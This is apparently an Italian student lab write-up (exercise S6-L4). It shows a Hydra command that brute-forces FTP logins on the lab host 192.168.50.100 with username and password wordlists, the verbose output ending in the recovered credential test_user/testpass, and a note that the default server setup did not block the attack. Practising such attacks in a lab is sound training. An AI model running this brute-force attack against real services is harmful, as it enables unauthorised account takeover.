Esercizio S6-L4

```
C:\home\kali> hydra -L /home/kali/Desktop/usernames.list -P /home/kali/Desk
top/passwords.list 192.168.50.100 ftp -V
```

```
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "12345678" - 82 of 84 [child 11] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "sabato2024" - 83 of 84 [child 4] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 84 of 84 [child 14] (0/0)
[21][ftp] host: 192.168.50.100   login: test_user   password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-02-29 16:40:12

C:\home\kali>
```

Come possiamo notare, abbiamo sfruttato hydra in modalità black box per effettuare un attacco brute force utilizzando wordlist e passlist verso il servizio ftp. Per visualizzare tutti i tentativi ho anche utilizzato il tag -V.

Il file di configurazione è di default e senza modifiche, poichè non ci è stato bloccato o ostacolato l'attacco in nessun modo.